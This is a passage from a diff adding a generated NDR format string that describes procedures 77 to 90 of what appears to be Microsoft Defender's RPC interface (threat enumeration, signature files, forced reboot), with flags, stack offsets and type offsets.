NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4396 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4398 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4400 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4402 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc77_ServerMpRpcNotifyIdle */ + +/* 4404 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4406 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4410 */ NdrFcShort( 0x4d ), /* 77 */ +/* 4412 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4414 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4416 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4418 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4420 */ NdrFcShort( 0x2c ), /* 44 */ +/* 4422 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4424 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 4426 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4428 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4430 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4432 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4434 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 4436 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 4438 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4440 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 4442 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4444 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4446 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4448 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4450 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4452 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4454 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4456 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4458 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc78_ServerMpRpcIdleCheckTaskCompletion */ + +/* 4460 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4462 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4466 */ NdrFcShort( 0x4e ), /* 78 */ +/* 4468 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4470 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4472 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4474 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4476 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4478 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4480 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4482 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4484 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4486 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4488 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4490 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 4492 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 4494 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4496 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 4498 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4500 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4502 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4504 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4506 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4508 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc79_ServerMpRpcThreatOpen */ + +/* 4510 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 4512 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4516 */ NdrFcShort( 0x4f ), /* 79 */ +/* 4518 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 4520 */ NdrFcShort( 0x18 ), /* 24 */ +/* 4522 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4524 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x6, /* 6 */ +/* 4526 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4528 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4530 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4532 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4534 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4536 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4538 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4540 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4542 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4544 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4546 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 4548 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4550 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4552 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 4554 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 4556 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4558 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_5 */ + +/* 4560 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4562 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4564 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4566 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4568 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 4570 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc80_ServerMpRpcThreatEnumerate */ + +/* 4572 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4574 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4578 */ NdrFcShort( 0x50 ), /* 80 */ +/* 4580 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4582 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4584 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4586 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4588 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4590 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4592 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 4594 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 4596 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4598 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4600 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4602 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 4604 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 4606 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4608 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 4610 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 4612 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4614 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_2 */ + +/* 4616 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4618 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4620 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4622 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4624 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4626 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc81_ServerMpRpcThreatClose */ + +/* 4628 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4630 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4634 */ NdrFcShort( 0x51 ), /* 81 */ +/* 4636 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4638 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 4640 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4642 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4644 */ NdrFcShort( 0x38 ), /* 56 */ +/* 4646 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4648 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4650 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4652 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4654 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4656 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4658 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4660 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 4662 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4664 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 4666 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4668 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4670 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4672 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4674 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4676 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc82_ServerMpRpcDbgThreatViewAction */ + +/* 4678 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4680 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4684 */ NdrFcShort( 0x52 ), /* 82 */ +/* 4686 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4688 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4690 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4692 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4694 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4696 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4698 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4700 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4702 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4704 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4706 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4708 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4710 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4712 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4714 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4716 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4718 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4720 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4722 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4724 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc83_ServerMpRpcForcedReboot */ + +/* 4726 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4728 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4732 */ NdrFcShort( 0x53 ), /* 83 */ +/* 4734 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4736 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4738 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4740 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4742 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4744 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4746 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4748 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4750 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4752 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4754 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4756 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4758 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4760 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4762 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4764 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4766 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4768 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4770 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4772 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc84_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 4774 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4776 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4780 */ NdrFcShort( 0x54 ), /* 84 */ +/* 4782 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4784 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4786 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4788 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4790 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4792 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 4794 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4796 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4798 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4800 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4802 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4804 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4806 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4808 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4810 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4812 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4814 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc85_ServerMpRpcAddFastPathSignatureFile */ + +/* 4816 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4818 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4822 */ NdrFcShort( 0x55 ), /* 85 */ +/* 4824 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 4826 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4828 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4830 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4832 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4834 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 4836 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4838 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4840 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4842 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4844 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4846 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 4848 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4850 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 4852 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 4854 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4856 */ NdrFcShort( 0x70a ), /* Type Offset=1802 */ + + /* Parameter arg_3 */ + +/* 4858 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4860 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4862 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 4864 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4866 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4868 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4870 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4872 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 4874 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc86_ServerMpRpcRemoveFastPathSignatureFile */ + +/* 4876 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4878 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4882 */ NdrFcShort( 0x56 ), /* 86 */ +/* 4884 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 4886 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4888 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4890 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4892 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4894 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 4896 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4898 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4900 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4902 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4904 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4906 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 4908 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4910 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 4912 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4914 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4916 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 4918 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4920 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4922 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4924 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4926 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4928 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc87_ServerMpRpcDynamicSignatureOpen */ + +/* 4930 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 4932 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4936 */ NdrFcShort( 0x57 ), /* 87 */ +/* 4938 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4940 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4942 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4944 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 4946 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4948 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4950 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4952 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4954 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4956 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4958 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4960 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4962 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 4964 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4966 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 4968 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4970 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4972 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4974 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4976 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4978 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc88_ServerMpRpcDynamicSignatureEnumerate */ + +/* 4980 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4982 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4986 */ NdrFcShort( 0x58 ), /* 88 */ +/* 4988 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4990 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4992 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4994 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4996 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4998 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5000 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 5002 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5004 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5006 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5008 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5010 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5012 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 5014 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5016 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 5018 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 5020 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5022 */ NdrFcShort( 0x70a ), /* Type Offset=1802 */ + + /* Parameter arg_2 */ + +/* 5024 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5026 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5028 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5030 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5032 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5034 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc89_ServerMpRpcDynamicSignatureClose */ + +/* 5036 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5038 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5042 */ NdrFcShort( 0x59 ), /* 89 */ +/* 5044 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5046 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 5048 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5050 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5052 */ NdrFcShort( 0x38 ), /* 56 */ +/* 5054 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5056 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5058 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5060 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5062 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5064 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5066 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5068 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 5070 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5072 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 5074 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5076 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5078 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5080 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5082 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5084 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc90_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 5086 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 5088 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5092 */ NdrFcShort( 0x5a ), /* 90 */ +/* 5094 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5096 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5098 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 5100 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 5102 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5104 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5106 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5108 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5110 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5112 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 5114 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5116 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 5118 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 5120 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5122 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 5124 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5126 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5128 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5130 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5132 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5134 */ 0x8, /* 